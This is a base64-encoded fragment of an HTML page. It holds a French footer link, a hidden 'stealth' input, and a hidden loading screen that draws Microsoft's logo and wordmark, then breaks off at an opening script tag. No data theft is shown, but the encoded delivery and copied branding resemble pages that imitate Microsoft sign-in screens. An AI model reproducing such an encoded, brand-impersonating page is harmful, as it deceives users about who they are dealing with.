dGVuaXIgZGVzIGluZm9ybWF0aW9ucyBzdXIgbGEgcsODwqlzb2x1dGlvbiBkZXMgcHJvYmzDg8KobWVzIiBhcmlhLWV4cGFuZGVkPSJmYWxzZSIgY2xhc3M9ImZvb3Rlci1jb250ZW50IGV4dC1mb290ZXItY29udGVudCBmb290ZXItaXRlbSBleHQtZm9vdGVyLWl0ZW0gZGVidWctaXRlbSBleHQtZGVidWctaXRlbSI+Li4uPC9hPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyI+PGltZyBzcmM9IiI+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGNsYXNzPSJzdGVhbHRoIj4KCiAgICAgIDwvZGl2PiAKICAgICAgICAgICAgICA8ZGl2IGlkPSJsb2FkaW5nU2NyZWVuIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgogICAgICAgICAgICAgICAgICAgIDxzdmcgaWQ9ImxvYWRpbmdMb2dvIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjIwIDIyMCIgc2hhcGUtcmVuZGVyaW5nPSJnZW9tZXRyaWNQcmVjaXNpb24iIHRleHQtcmVuZGVyaW5nPSJnZW9tZXRyaWNQcmVjaXNpb24iIHdpZHRoPSIyMjAiIGhlaWdodD0iMjIwIj48ZyBpZD0ibG9hZGluZ0xvZ28yX3RzIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxMDguODk0NDMwLDE1NS43MTUxMjcpIHNjYWxlKDAuNjY4OTYzLDAuNjY4OTYzKSI+PGcgaWQ9ImxvYWRpbmdMb2dvMiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEwMC45OTg3NDksLTE0MSkiIG9wYWNpdHk9IjAiPjxnIGlkPSJsb2FkaW5nTG9nbzNfdG8iIHRyYW5zZm9ybT0idHJhbnNsYXRlKDEwMS4wMDAxNTUsMTk1Ljk3MDcwMykiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZyBpZD0ibG9hZGluZ0xvZ28zIiBzdHlsZT0iZmlsdGVyOiBkcm9wLXNoYWRvdygwcHggNHB4IDBweCByZ2JhKDAsIDAsIDAsIDApKSIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEwMS4wMDAxNTUsLTE5NS45NzA3MDMpIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGcgaWQ9ImxvYWRpbmdMb2dvNCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBpZD0ibG9hZGluZ0xvZ281IiBkPSJNMjAuOTMzNzg0LDk3LjIxMDYwMEMyMC45MzM3ODQsOTcuMjEwNjAwLDIwLjE3ODI3MSw5Mi45NDAwNTMsMjAuMDI0MDAzLDkzTDE4Mi4wMTkyNTUsOTNDMTgyLjAxOTI1NSw5MywxODIuMDE0MDAwLDk1LjUzMTkwMCwxODEuOTk5MDAwLDk3LjIxMDYwMEMxODIuMDIzMDAwLDk4LjkwNjYwMCwxODEuMTc3MDAwLDEwMC40OTYwMDAsMTc5Ljc1OTAwMCwxMDEuNDIxMDAwTDEwNi42ODQwMDAsMTQ1Ljk5ODAwMEwxMDUuNzMyMDAwLDE0Ni41NTkwMDBDMTA0LjMzNzAwMCwxNDcuMzA2MDAwLDEwMi43NzgwMDAsMTQ3LjY5MTAwMCwxMDEuMTk3MDAwLDE0Ny42ODIwMDBDOTkuNjMzMzAwLDE0Ny42ODkwMDAsOTguMDkzMTAwLDE0Ny4zMDMwMDAsOTYuNzE2OTAwLDE0Ni41NTkwMDBMOTUuNzA5MDAwLDE0NS45OTgwMDBMMjIuNDEwMTAwLDEwMS40MjEwMDBDMjAuOTAyMTAwLDEwMC41MzUwMDAsMjIuMzgxNTg1LDk4LjkxNjkzNywyMC45MzM3ODQsOTcuMjEwNjAwWiIgdHJhbnNmb3JtPSJtYXRyaXgoMSAwIDAgMSAtMC4wMjE4MDI5NzYzMTMzNCAzLjk5OTk5OTk5NjU5NjUzKSIgZmlsbD0icmdiKDE4LDU5LDEwOSkiIHN0cm9rZT0ibm9uZSIgc3Ryb2tlLXdpZHRoPSIxIj48L3BhdGg+CiAgICAgICAgICAgICAgICAgICAgICAgIDxnIGlkPSJsb2FkaW5nTG9nbzZfdHMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDEwMS4wMDA3MDgsOTcuNDk5NTg4KSBzY2FsZSgxLC0wLjAwMTcyMCkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggaWQ9ImxvYWRpbmdMb2dvNiIgZD0iTTE3OS43NTkwMDAsOTMuMzczMjAwTDEwNi41NzIwMDAsNDguNzQwNDAwTDEwNS42MjAwMDAsNDguMTIyODAwQzEwNC4yMTUwMDAsNDcuNDAzNDAwLDEwMi42NjMwMDAsNDcuMDE5MTAwLDEwMS4wODUwMDAsNDdDOTkuNTI0NjAwLDQ3LjAxOTYwMCw5Ny45OTA3MDAsNDcuNDA0MTAwLDk2LjYwNDkwMCw0OC4xMjI4MDBMOTUuNTk3MDAwLDQ4Ljc0MDQwMEwyMi4yOTgxMDAsOTMuMzE3MDAwQzIwLjg3NTUwMCw5NC4yMTgxMDAsMjAuMDA5OTAwLDk1LjgwNDkxNywyMC4wMDIyMDAsOTcuNDkxOTE3QzE5Ljk4MzMwMCw5OS4yNDQzMTcsMjAuOTAyMTAwLDEwMC44NTIwMDAsMjIuNDEwMTAwLDEwMS43MzgwMDBMOTUuNzA5MDAwLDE0Ni4zMTUwMDBMOTYuNzE2OTAwLDE0Ni44NzYwMDBDOTguMDkzMTAwLDE0Ny42MjAwMDAsOTkuNjMzMzAwLDE0OC4wMDYwMDAsMTAxLjE5NzAwMCwxNDcuOTk5MDAwQzEwMi43NzgwMDAsMTQ4LjAwOTAwMCwxMDQuMzM3MDAwLDE0Ny42MjMwMDAsMTA1LjczMjAwMCwxNDYuODc2MDAwTDEwNi42ODQwMDAsMTQ2LjMxNTAwMEwxNzkuNzU5MDAwLDEwMS43MzgwMDBDMTgxLjE3NzAwMCwxMDAuODEzMDAwLDE4Mi4wMjMwMDAsOTkuMjIzNzAwLDE4MS45OTkwMDAsOTcuNTI3NzAwQzE4Mi4wMTQwMDAsOTUuODQ5MDAwLDE4MS4xNjgwMDAsOTQuMjgwMTAwLDE3OS43NTkwMDAsOTMuMzczMjAwWiIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTEwMS4wMDA3MDgsLTk3LjQ5OTU4OCkiIGZpbGw9InJnYigxOCw1OSwxMDkpIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSI+PC9wYXRoPjwvZz48L2c+PGcgaWQ9ImxvYWRpbmdMb2dvNyIgY2xpcC1wYXRoPSJ1cmwoI2xvYWRpbmdMb2dvMjIpIj48ZyBpZD0ibG9hZGluZ0xvZ284X3RzIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxMDEuMDAwNjk5LDE1OS45MTQ3MjMpIHNjYWxlKDEsMSkiPjxnIGlkPSJsb2FkaW5nTG9nbzgiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0xMDEuMDAwNjk5LC0xNTkuOTE0NzIzKSI+PGcgaWQ9ImxvYWRpbmdMb2dvOV90byIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMTAxLDIwNS43NTM3NjUpIj48ZyBpZD0ibG9hZGluZ0xvZ285IiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxLC04MSkiPjxwYXRoIGlkPSJsb2FkaW5nTG9nbzEwIiBkPSJNMjgsMTBDMjgsNC40NzcxNTAsMzIuNDc3MjAwLDAsMzgsMEwxNjQsMEMxNjkuNTIzMDAwLDAsMTc0LDQuNDc3MTUwLDE3NCwxMEMxNzQsMTAsMTczLjk5OTMwMSwyOC4zNTUwMDksMTczLjk5OTMwMSwyOC4zNTUwMDlMMjgsNTEuMDYwNTI5TDI4LDEwWiIgdHJhbnNmb3JtPSJtYXRyaXgoMSAwIDAgMSAwLjAwMDY5OTA0MDAwMDAwIDApIiBmaWxsPSJyZ2IoMyw4OCwxNjcpIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSI+PC9wYXRoPjxnIGlkPSJsb2FkaW5nTG9nbzExIj48cmVjdCBpZD0ibG9hZGluZ0xvZ28xMiIgd2lkdGg9IjU0LjA2Mzg2NiIgaGVpZ2h0PSI1MC4xMTgxMTgiIHJ4PSIwIiByeT0iMCIgdHJhbnNmb3JtPSJtYXRyaXgoMSAwIDAgMSAyOCAyNC4wMDAwMDAwMDA2OTc5NikiIGZpbGw9InJnYigwLDEyMCwyMTIpIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSI+PC9yZWN0PjxyZWN0IGlkPSJsb2FkaW5nTG9nbzEzIiB3aWR0aD0iNDYiIGhlaWdodD0iNTAuMTE4MTE4IiByeD0iMCIgcnk9IjAiIHRyYW5zZm9ybT0ibWF0cml4KDEuMDQzODE1MjQ4OTcwOTggMCAwIDEgMTI1Ljk4NDQ5ODU0NzMzNDc3IDI0KSIgZmlsbD0icmdiKDgwLDIxNywyNTUpIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSI+PC9yZWN0PjxyZWN0IGlkPSJsb2FkaW5nTG9nbzE0IiB3aWR0aD0iNTAiIGhlaWdodD0iNTAuMTE4MTE4IiByeD0iMCIgcnk9IjAiIHRyYW5zZm9ybT0ibWF0cml4KDEgMCAwIDEgNzggMjQpIiBmaWxsPSJyZ2IoNDAsMTY4LDIzNCkiIHN0cm9rZT0ibm9uZSIgc3Ryb2tlLXdpZHRoPSIxIj48L3JlY3Q+PC9nPjxnIGlkPSJsb2FkaW5nTG9nbzE1Ij48cmVjdCBpZD0ibG9hZGluZ0xvZ28xNiIgd2lkdGg9IjU0LjA2Mzg2NiIgaGVpZ2h0PSI1MC42NTkyNjUiIHJ4PSIwIiByeT0iMCIgdHJhbnNmb3JtPSJtYXRyaXgoMSAwIDAgMSAyOCA3MCkiIGZpbGw9InJnYigzLDEwMCwxODQpIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSI+PC9yZWN0PjxyZWN0IGlkPSJsb2FkaW5nTG9nbzE3IiB3aWR0aD0iNDYiIGhlaWdodD0iNTAuNjU5MjY1IiByeD0iMCIgcnk9IjAiIHRyYW5zZm9ybT0ibWF0cml4KDEuMDUxMTE3NzY4OTkwMDQgMCAwIDEgMTI1LjY0ODU4MjYyNjQ1ODA4IDcwKSIgZmlsbD0icmdiKDQwLDE2OCwyMzQpIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSI+PC9yZWN0PjxyZWN0IGlkPSJsb2FkaW5nTG9nbzE4IiB3aWR0aD0iNTAiIGhlaWdodD0iNTAuNjU5MjY1IiByeD0iMCIgcnk9IjAiIHRyYW5zZm9ybT0ibWF0cml4KDEgMCAwIDEgNzggNzApIiBmaWxsPSJyZ2IoMCwxMjAsMjEyKSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiPjwvcmVjdD48L2c+PHJlY3QgaWQ9ImxvYWRpbmdMb2dvMTkiIHdpZHRoPSI0NiIgaGVpZ2h0PSI0NiIgcng9IjAiIHJ5PSIwIiB0cmFuc2Zvcm09Im1hdHJpeCgxLjA1ODg1MDA2NTUzMDc0IDAgMCAxIDEyNS4yOTI4OTY5ODU1ODYwOCAxMTYpIiBmaWxsPSJyZ2IoMCwxMjAsMjEyKSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiPjwvcmVjdD48cmVjdCBpZD0ibG9hZGluZ0xvZ28yMCIgd2lkdGg9IjU0LjA2Mzg2NiIgaGVpZ2h0PSI0NiIgcng9IjAiIHJ5PSIwIiB0cmFuc2Zvcm09Im1hdHJpeCgxIDAgMCAxIDI4IDExNikiIGZpbGw9InJnYigyMCw2OCwxMjUpIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSI+PC9yZWN0PjxyZWN0IGlkPSJsb2FkaW5nTG9nbzIxIiB3aWR0aD0iNTAiIGhlaWdodD0iNDYiIHJ4PSIwIiByeT0iMCIgdHJhbnNmb3JtPSJtYXRyaXgoMSAwIDAgMSA3OCAxMTYpIiBmaWxsPSJyZ2IoMywxMDAsMTg0KSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiPjwvcmVjdD48L2c+PC9nPjwvZz48L2c+PGNsaXBQYXRoIGlkPSJsb2FkaW5nTG9nbzIyIj48cGF0aCBpZD0ibG9hZGluZ0xvZ28yMyIgZD0iTTIwLjAwMjIwMCw5MS42MDMwNjdDMjAuMDA5OTAwLDg5LjczMDcxOCwyMC44NzU1MDAsODcuOTkyMTA3LDIyLjI5ODEwMCw4Ni45OTIxMTVMMTc5Ljc1OTAwMCw4Ny4wNTQzNzlDMTgxLjE2ODAwMCw4OC4wNjA5MTksMTgyLjAxNDAwMCw4OS44MDIxOTMsMTgxLjk5OTAwMCw5MS42NjUzMzFDMTgyLjAyMzAwMCw5My41NDc2NjksMTgxLjE3NzAwMCw5NS4zMTE2OTUsMTc5Ljc1OTAwMCw5Ni4zMzgzMjVMMTA2LjY4NDAwMCwxNDUuODEyOTY5TDEwNS43MzIwMDAsMTQ2LjQzNTYwNUMxMDQuMzM3MDAwLDE0Ny4yNjQ2NzgsMTAyLjc3ODAwMCwxNDcuNjkxOTc3LDEwMS4xOTcwMDAsMTQ3LjY4MTk4OEM5OS42MzMzMDAsMTQ3LjY4OTc1OCw5OC4wOTMxMDAsMTQ3LjI2MTM0OCw5Ni43MTY5MDAsMTQ2LjQzNTYwNUw5NS43MDkwMDAsMTQ1LjgxMjk2OUwyMi40MTAxMDAsOTYuMzM4MzI1QzIwLjkwMjEwMCw5NS4zNTQ5ODAsMTkuOTgzMzAwLDkzLjU0ODAwMiwyMC4wMDIyMDAsOTEuNjAzMDY3WiIgdHJhbnNmb3JtPSJtYXRyaXgoMi4yMzQzNDA4OTI3Mzg5MiAwIDAgMy40MzMxMTc2NjAwNDI0NCAtMTI0LjY2OTI5MzAyMDI4OTA4IC0zMjIuMDEwMDcyNDQ0MjA5MTkpIiBmaWxsPSJyZ2IoMTgsNTksMTA5KSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD48L2NsaXBQYXRoPjwvZz48ZyBpZD0ibG9hZGluZ0xvZ28yNCIgbWFzaz0idXJsKCNsb2FkaW5nTG9nbzMwKSI+PGcgaWQ9ImxvYWRpbmdMb2dvMjUiPjxwYXRoIGlkPSJsb2FkaW5nTG9nbzI2IiBkPSJNMTcyLDE4NUwyMCwxODVMMTgyLDk3TDE4MiwxNzVDMTgyLDE4MC41MjMwMDAsMTc3LjUyMzAwMCwxODUsMTcyLDE4NVoiIGZpbGw9InJnYigyMCwxNDQsMjIzKSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD48ZyBpZD0ibG9hZGluZ0xvZ28yNyI+PHBhdGggaWQ9ImxvYWRpbmdMb2dvMjgiIGQ9Ik0zMCwxODVMMTgyLDE4NUwyMCw5N0wyMCwxNzVDMjAsMTgwLjUyMzAwMCwyNC40NzcyMDAsMTg1LDMwLDE4NVoiIGZpbGw9InJnYig0MCwxNjgsMjM0KSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD48L2c+PC9nPjxnIGlkPSJsb2FkaW5nTG9nbzI5X3RzIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgxMDEuMDAwNjk5LDk3LjQ5OTU3Mykgc2NhbGUoMSwxKSI+PHBhdGggaWQ9ImxvYWRpbmdMb2dvMjkiIHN0eWxlPSJmaWx0ZXI6IGRyb3Atc2hhZG93KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHB4IDBweCAwcHggcmdiYSgwLCAwLCAwLCAwLjA5KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOyIgZD0iTTIyLjQwODEwMCwxMDEuNDIxMDAwQzIwLjkwMDIwMCwxMDAuNTM1MDAwLDE5Ljk4MTMwMCw5OC45MDY5MDAsMjAuMDAwMzAwLDk3LjE1NDUwMEMyMC4wMDc3MDAsOTUuNTAyMDAwLDIwLjgzODUwMCw5My45NjUyMDAsMjIuMjA5NTAwLDkzLjA1NjEwMEwxNzkuNzU3MDAwLDkzLjA1NjEwMEMxODEuMTY2MDAwLDkzLjk2MzAwMCwxODIuMDEyMDAwLDk1LjUzMTkwMCwxODEuOTk3MDAwLDk3LjIxMDYwMEMxODIuMDIxMDAwLDk4LjkwNjYwMCwxODEuMTc1MDAwLDEwMC40OTYwMDAsMTc5Ljc1NzAwMCwxMDEuNDIxMDAwTDEwNi42ODIwMDAsMTQ1Ljk5ODAwMEwxMDUuNzMwMDAwLDE0Ni41NTkwMDBDMTA0LjMzNTAwMCwxNDcuMzA2MDAwLDEwMi43NzYwMDAsMTQ3LjY5MTAwMCwxMDEuMTk1MDAwLDE0Ny42ODIwMDBDOTkuNjMxMzAwLDE0Ny42ODkwMDAsOTguMDkxMTAwLDE0Ny4zMDMwMDAsOTYuNzE1MDAwLDE0Ni41NTkwMDBMOTUuNzA3MTAwLDE0NS45OTgwMDBMMjIuNDA4MTAwLDEwMS40MjEwMDBaIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTAxLjAwMDY5OSwtOTcuNDk5NTczKSIgZmlsbD0icmdiKDgwLDIxNywyNTUpIiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSI+PC9wYXRoPjwvZz48bWFzayBpZD0ibG9hZGluZ0xvZ28zMCIgbWFzay10eXBlPSJhbHBoYSI+PHBhdGggaWQ9ImxvYWRpbmdMb2dvMzEiIGQ9Ik0yMCw5N0wxODIsOTdMMTgyLDE3NUMxODIsMTgwLjUyMzAwMCwxNzcuNTIzMDAwLDE4NSwxNzIsMTg1TDMwLDE4NUMyNC40NzcyMDAsMTg1LDIwLDE4MC41MjMwMDAsMjAsMTc1TDIwLDk3WiIgZmlsbD0icmdiKDE5NiwxOTYsMTk2KSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiPjwvcGF0aD48L21hc2s+PC9nPjwvZz48L2c+PC9nPjwvZz48L3N2Zz4gPHN2ZyBpZD0iTVNMb2dvIiB3aWR0aD0iOTkiIGhlaWdodD0iMjIiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGcgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj48cGF0aCBkPSJNMzQuNjQzIDEyLjA3NWwtLjU4OCAxLjY0N2gtLjAzNGMtLjEwNS0uMzg3LS4yOC0uOTM0LS41NTYtMS42M2wtMy4xNS03Ljg5N2gtMy4wNzdWMTYuNzVoMi4wM1Y5LjAzMmMwLS40NzYtLjAxLTEuMDUyLS4wMy0xLjcxMS0uMDEtLjMzMy0uMDQ5LS42LS4wNTgtLjgwNGguMDQ1Yy4xMDMuNDczLjIxLjgzNC4yODcgMS4wNzVsMy43NzYgOS4xNmgxLjQybDMuNzQ4LTkuMjQzYy4wODUtLjIxMS4xNzUtLjYyMi4yNTctLjk5MmguMDQ0Yy0uMDQ4LjkxNS0uMDkgMS43NS0uMDk1IDIuMjU2djcuOTc4aDIuMTY1VjQuMTk1aC0yLjk1NmwtMy4yMjggNy44OHoiIGZpbGw9IiM3Mzc0NzQiPjwvcGF0aD48cGF0aCBkPSJNMCAyMC45NTZoOTguMTQ4VjBIMHoiPjwvcGF0aD48cGF0aCBmaWxsPSIjNzM3NDc0IiBkPSJNNDIuODY2IDE2Ljc1MWgyLjExOFY3Ljc1MmgtMi4xMTh6TTQzLjk0NyAzLjkyOWMtLjM0OSAwLS42NTMuMTE5LS45MDIuMzUzYTEuMTY2IDEuMTY2IDAgMDAtLjM3OC44ODNjMCAuMzQ0LjEyNi42MzYuMzc0Ljg2NS4yNDcuMjMuNTUyLjM0NS45MDYuMzQ1cy42Ni0uMTE1LjkxLS4zNDVjLjI1LS4yMy4zNzktLjUyLjM3OS0uODY1IDAtLjMzOS0uMTI1LS42MzItLjM3LS44NzNhMS4yNjIgMS4yNjIgMCAwMC0uOTE5LS4zNjNNNTIuNDc3IDcuNjYzYTUuODkyIDUuODkyIDAgMDAtMS4xODItLjEyN2MtLjk3MSAwLTEuODM4LjIwOS0yLjU3NC42Mi0uNzM5LjQxLTEuMzEuOTk4LTEuNjk5IDEuNzQ1LS4zODYuNzQ1LS41ODMgMS42MTUtLjU4MyAyLjU4NSAwIC44NS4xOSAxLjYzMS41NjcgMi4zMTguMzc3LjY5LjkxIDEuMjMgMS41ODUgMS42MDIuNjczLjM3MyAxLjQ1Mi41NjMgMi4zMTMuNTYzIDEuMDA2IDAgMS44NjYtLjIwMSAyLjU1NC0uNTk3bC4wMjctLjAxN3YtMS45NGwtLjA4OS4wNjZjLS4zMTIuMjI3LS42Ni40MDgtMS4wMzUuNTM4YTMuMTIxIDMuMTIxIDAgMDEtMS4wMTQuMTk3Yy0uODMgMC0xLjQ5Ny0uMjYtMS45ODItLjc3Mi0uNDg1LS41MTMtLjczLTEuMjMzLS43My0yLjE0IDAtLjkxMi4yNTUtMS42NTEuNzYxLTIuMTk2LjUwNC0uNTQ0IDEuMTczLS44MiAxLjk4Ni0uODIuNjk1IDAgMS4zNzQuMjM2IDIuMDE0LjcwMmwuMDkuMDYzVjguMDExbC0uMDI5LS4wMTdjLS4yNDEtLjEzNS0uNTcxLS4yNDYtLjk4LS4zMzFNNTkuNDUyIDcuNTk3YTIuMTcgMi4xNyAwIDAwLTEuNDE1LjUwN2MtLjM1OC4yOTYtLjYxNi43LS44MTQgMS4yMDdINTcuMlY3Ljc1M2gtMi4xMTZ2OC45OTlINTcuMnYtNC42MDNjMC0uNzg0LjE3OC0xLjQyNi41MjgtMS45MTIuMzQ2LS40OC44MDYtLjcyMyAxLjM2OS0uNzIzLjE5IDAgLjQwNC4wMzEuNjM2LjA5My4yMy4wNjMuMzk2LjEyOS40OTMuMmwuMDkuMDY0VjcuNzM3bC0uMDM0LS4wMTRjLS4xOTctLjA4My0uNDc3LS4xMjYtLjgzLS4xMjZNNjYuODg1IDE0LjQ2NWMtLjM5Ny40OTktLjk5Ni43NTEtMS43NzkuNzUxLS43NzcgMC0xLjM5LS4yNTYtMS44MjMtLjc2Ni0uNDM1LS41MS0uNjU1LTEuMjM4LS42NTUtMi4xNjMgMC0uOTU0LjIyLTEuNzAxLjY1NS0yLjIyLjQzMy0uNTE2IDEuMDQtLjc3OCAxLjgwNi0uNzc4Ljc0MyAwIDEuMzM1LjI1IDEuNzU4Ljc0NC40MjYuNDk2LjY0MiAxLjIzNy42NDIgMi4yMDIgMCAuOTc3LS4yMDMgMS43MjgtLjYwNCAyLjIzbS0xLjY4My02LjkyOWMtMS40ODQgMC0yLjY2My40MzUtMy41MDMgMS4yOTMtLjg0Ljg1Ny0xLjI2NSAyLjA0NC0xLjI2NSAzLjUyNyAwIDEuNDEuNDE1IDIuNTQzIDEuMjM1IDMuMzY4LjgyLjgyNiAxLjkzNiAxLjI0NSAzLjMxNiAxLjI0NSAxLjQzOCAwIDIuNTkzLS40NDEgMy40MzQtMS4zMS44NC0uODcgMS4yNjUtMi4wNDUgMS4yNjUtMy40OTMgMC0xLjQzMy0uNC0yLjU3My0xLjE4Ny0zLjM5NC0uNzg5LS44Mi0xLjg5Ny0xLjIzNi0zLjI5NS0xLjIzNk03NC4zNzggMTEuNDcxYy0uNjY3LS4yNjgtMS4wOTUtLjQ5LTEuMjctLjY2LS4xNy0uMTY1LS4yNTctLjM5OC0uMjU3LS42OTMgMC0uMjYyLjEwOC0uNDcyLjMyNy0uNjQyLjIxOS0uMTcuNTI2LS4yNTcuOTExLS4yNTcuMzU3IDAgLjcyMy4wNTYgMS4wODUuMTY2LjM2My4xMTEuNjgyLjI2Ljk0OS40NGwuMDg4LjA2VjcuOTI4bC0uMDM1LS4wMTVhNC43MTUgNC43MTUgMCAwMC0uOTYyLS4yNjggNS45MzIgNS45MzIgMCAwMC0xLjA1Ni0uMTA5Yy0xLjAxIDAtMS44NDUuMjU4LTIuNDgzLjc2Ny0uNjQuNTEyLS45NjcgMS4xODQtLjk2NyAxLjk5NyAwIC40MjIuMDcuNzk4LjIwOSAxLjExNi4xNC4zMi4zNTUuNi42NDEuODM3LjI4My4yMzMuNzIyLjQ3OCAxLjMwMi43MjguNDg4LjIuODUyLjM3IDEuMDgzLjUwNS4yMjcuMTMuMzg3LjI2My40NzcuMzkuMDg4LjEyNy4xMzMuMjk5LjEzMy41MTIgMCAuNjA0LS40NTIuODk3LTEuMzg0Ljg5N2EzLjggMy44IDAgMDEtMS4xNzItLjIxMyA0LjQxOCA0LjQxOCAwIDAxLTEuMi0uNjA5bC0uMDg5LS4wNjR2Mi4wNjRsLjAzMy4wMTVjLjMwNC4xNC42ODYuMjU3IDEuMTM3LjM1LjQ0OS4wOTQuODU5LjE0MSAxLjIxMy4xNDEgMS4wOTYgMCAxLjk3Ny0uMjYgMi42Mi0uNzcxLjY0OC0uNTE1Ljk3Ni0xLjIwNC45NzYtMi4wNDUgMC0uNjA3LS4xNzYtMS4xMjctLjUyNS0xLjU0Ni0uMzQ1LS40MTYtLjk0Ni0uNzk5LTEuNzg0LTEuMTM2TTg0LjA2MyAxNC40NjVjLS4zOTguNDk5LS45OTcuNzUxLTEuNzguNzUxLS43NzcgMC0xLjM5LS4yNTYtMS44MjItLjc2Ni0uNDM1LS41MS0uNjU1LTEuMjM4LS42NTUtMi4xNjMgMC0uOTU0LjIyLTEuNzAxLjY1NS0yLjIyLjQzMi0uNTE2IDEuMDQtLjc3OCAxLjgwNi0uNzc4Ljc0MyAwIDEuMzM1LjI1IDEuNzU4Ljc0NC40MjYuNDk2LjY0MiAxLjIzNy42NDIgMi4yMDIgMCAuOTc3LS4yMDQgMS43MjgtLjYwNCAyLjIzTTgyLjM4IDcuNTM2Yy0xLjQ4NCAwLTIuNjYzLjQzNS0zLjUwMyAxLjI5My0uODQuODU3LTEuMjY2IDIuMDQ0LTEuMjY2IDMuNTI3IDAgMS40MS40MTUgMi41NDMgMS4yMzUgMy4zNjguODIuODI2IDEuOTM2IDEuMjQ1IDMuMzE3IDEuMjQ1IDEuNDM4IDAgMi41OTMtLjQ0MSAzLjQzMy0xLjMxLjg0LS44NyAxLjI2Ni0yLjA0NSAxLjI2Ni0zLjQ5MyAwLTEuNDMzLS40LTIuNTczLTEuMTg3LTMuMzk0LS43ODktLjgyLTEuODk3LTEuMjM2LTMuMjk1LTEuMjM2TTk4LjE0OSA5LjQ4VjcuNzUyaC0yLjE0NFY1LjA2OWwtLjA3Mi4wMjItMi4wMTUuNjE2LS4wMzguMDEydjIuMDM0aC0zLjE3N1Y2LjYyYzAtLjUyNy4xMTgtLjkzMS4zNTEtMS4yLjIzLS4yNjYuNTYtLjQwMi45ODItLjQwMi4zMDMgMCAuNjE2LjA3Mi45MzEuMjEzbC4wNzkuMDM1VjMuNDQ3bC0uMDM3LS4wMTNjLS4yOTQtLjEwNS0uNjk1LS4xNTktMS4xOS0uMTU5LS42MjYgMC0xLjE5NC4xMzYtMS42ODkuNDA2LS40OTUuMjctLjg4Ni42NTUtMS4xNiAxLjE0Ni0uMjcyLjQ4OS0uNDEgMS4wNTQtLjQxIDEuNjh2MS4yNDZoLTEuNDkydjEuNzI2aDEuNDkzdjcuMjczaDIuMTQyVjkuNDc5aDMuMTc3djQuNjIyYzAgMS45MDMuODk3IDIuODY4IDIuNjY4IDIuODY4LjI5MSAwIC41OTctLjAzNC45MS0uMTAxLjMxOS0uMDcuNTM1LS4xMzcuNjYyLS4yMWwuMDI5LS4wMTZ2LTEuNzQzbC0uMDg3LjA1OGMtLjExNy4wNzgtLjI2Mi4xNC0uNDMyLjE4OC0uMTcuMDQ4LS4zMTIuMDcyLS40MjIuMDcyLS40MTYgMC0uNzIzLS4xMTItLjkxNC0uMzMyLS4xOTEtLjIyMy0uMjg5LS42MTItLjI4OS0xLjE1OFY5LjQ4aDIuMTQ0eiI+PC9wYXRoPjxwYXRoIGZpbGw9IiNGMDUxMjQiIGQ9Ik0wIDkuOTU4aDkuOTU4Vi4wMDFIMHoiPjwvcGF0aD48cGF0aCBmaWxsPSIjN0VCQjQyIiBkPSJNMTAuOTk1IDkuOTU4aDkuOTU3Vi4wMDFoLTkuOTU3eiI+PC9wYXRoPjxwYXRoIGZpbGw9IiMzMkEwREEiIGQ9Ik0wIDIwLjk1Nmg5Ljk1OFYxMUgweiI+PC9wYXRoPjxwYXRoIGZpbGw9IiNGREI4MTMiIGQ9Ik0xMC45OTUgMjAuOTU2aDkuOTU3VjExaC05Ljk1N3oiPjwvcGF0aD48L2c+PC9zdmc+PC9kaXY+CiAgICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMy4xLjEubWluLmpzIj48L3NjcmlwdD4KICAgICA8c2NyaXB0PgogICAgICAgLy8gJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKXsKCQ